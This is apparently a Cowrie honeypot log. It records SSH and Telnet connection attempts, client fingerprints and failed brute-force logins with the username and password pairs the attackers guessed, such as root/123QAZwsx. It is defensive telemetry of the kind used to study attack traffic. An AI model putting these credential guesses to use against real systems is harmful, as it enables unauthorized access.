{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:05.170113Z","src_ip":"185.40.30.168","session":"237a0963cf30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"adminadmin","message":"login attempt [test/adminadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:05.720716Z","src_ip":"185.40.30.168","session":"237a0963cf30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:06.850950Z","src_ip":"185.40.30.168","session":"237a0963cf30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57496,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc7f14ee7476","protocol":"ssh","message":"New connection: 159.203.92.129:57496 (159.203.135.109:22) [session: cc7f14ee7476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:07.074997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:07.263896Z","src_ip":"159.203.92.129","session":"cc7f14ee7476","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:07.267824Z","src_ip":"159.203.92.129","session":"cc7f14ee7476","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator@2026","message":"login attempt [administrator/administrator@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:07.689317Z","src_ip":"159.203.92.129","session":"cc7f14ee7476","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:08.909095Z","src_ip":"159.203.92.129","session":"cc7f14ee7476","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":24001,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0dce6dce696","protocol":"ssh","message":"New connection: 125.166.19.90:24001 (159.203.135.109:22) [session: e0dce6dce696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:20.830857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:20.835665Z","src_ip":"125.166.19.90","session":"e0dce6dce696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:21.110706Z","src_ip":"125.166.19.90","session":"e0dce6dce696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin12345678","message":"login attempt [ubuntu/admin12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:22.242110Z","src_ip":"125.166.19.90","session":"e0dce6dce696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:23.521635Z","src_ip":"125.166.19.90","session":"e0dce6dce696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57492,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d9fd6a9ce28","protocol":"ssh","message":"New connection: 159.203.92.129:57492 (159.203.135.109:22) [session: 9d9fd6a9ce28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:49.796496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:49.801520Z","src_ip":"159.203.92.129","session":"9d9fd6a9ce28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:49.806707Z","src_ip":"159.203.92.129","session":"9d9fd6a9ce28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administratoradministrator","message":"login attempt [administrator/administratoradministrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:49.820260Z","src_ip":"159.203.92.129","session":"9d9fd6a9ce28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.197.3.193","src_port":51076,"dst_ip":"10.17.0.5","dst_port":23,"session":"646175c84d48","protocol":"telnet","message":"New connection: 20.197.3.193:51076 (10.17.0.5:23) [session: 646175c84d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:50.163760Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:50.825957Z","src_ip":"159.203.92.129","session":"9d9fd6a9ce28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":32880,"dst_ip":"159.203.135.109","dst_port":22,"session":"53d72a3be768","protocol":"ssh","message":"New connection: 185.40.30.168:32880 (159.203.135.109:22) [session: 53d72a3be768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:58.223784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:58.228355Z","src_ip":"185.40.30.168","session":"53d72a3be768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:58.360077Z","src_ip":"185.40.30.168","session":"53d72a3be768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123QAZwsx","message":"login attempt [root/123QAZwsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:58.914603Z","src_ip":"185.40.30.168","session":"53d72a3be768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:00.065325Z","src_ip":"185.40.30.168","session":"53d72a3be768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.197.3.193","src_port":36882,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d99f809cf82","protocol":"telnet","message":"New connection: 20.197.3.193:36882 (10.17.0.5:23) [session: 6d99f809cf82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:06.365967Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":39990,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea3adcdef9ec","protocol":"ssh","message":"New connection: 2.57.121.25:39990 (159.203.135.109:22) [session: ea3adcdef9ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:06.412892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:06.418483Z","src_ip":"2.57.121.25","session":"ea3adcdef9ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:06.519683Z","src_ip":"2.57.121.25","session":"ea3adcdef9ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gbgbcmrf","message":"login attempt [user/gbgbcmrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:06.997082Z","src_ip":"2.57.121.25","session":"ea3adcdef9ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"garter","message":"login attempt [user/garter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:08.106913Z","src_ip":"2.57.121.25","session":"ea3adcdef9ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"garnett","message":"login attempt [user/garnett] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:09.212494Z","src_ip":"2.57.121.25","session":"ea3adcdef9ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gardens","message":"login attempt [user/gardens] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:10.552389Z","src_ip":"2.57.121.25","session":"ea3adcdef9ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"funky1","message":"login attempt [user/funky1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:11.656008Z","src_ip":"2.57.121.25","session":"ea3adcdef9ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:12.759154Z","src_ip":"2.57.121.25","session":"ea3adcdef9ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.197.3.193","src_port":37636,"dst_ip":"10.17.0.5","dst_port":23,"session":"52e78260a4c1","protocol":"telnet","message":"New connection: 20.197.3.193:37636 (10.17.0.5:23) [session: 52e78260a4c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:18.665384Z"}
{"eventid":"cowrie.session.closed","duration":31.502009868621826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:21.665657Z","src_ip":"20.197.3.193","session":"646175c84d48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.197.3.193","src_port":45684,"dst_ip":"10.17.0.5","dst_port":23,"session":"873dc9ea480d","protocol":"telnet","message":"New connection: 20.197.3.193:45684 (10.17.0.5:23) [session: 873dc9ea480d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:30.300815Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41316,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bf51ba8ad2f","protocol":"ssh","message":"New connection: 159.203.92.129:41316 (159.203.135.109:22) [session: 5bf51ba8ad2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:35.268058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:35.316413Z","src_ip":"159.203.92.129","session":"5bf51ba8ad2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:35.320789Z","src_ip":"159.203.92.129","session":"5bf51ba8ad2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administratoradministratoradministrator","message":"login attempt [administrator/administratoradministratoradministrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:35.440032Z","src_ip":"159.203.92.129","session":"5bf51ba8ad2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:36.450594Z","src_ip":"159.203.92.129","session":"5bf51ba8ad2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.26974320411682,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:37.635615Z","src_ip":"20.197.3.193","session":"6d99f809cf82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.598302602767944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:49.263609Z","src_ip":"20.197.3.193","session":"52e78260a4c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.197.3.193","src_port":49530,"dst_ip":"10.17.0.5","dst_port":23,"session":"d959c11259d4","protocol":"telnet","message":"New connection: 20.197.3.193:49530 (10.17.0.5:23) [session: d959c11259d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:31:50.036558Z"}
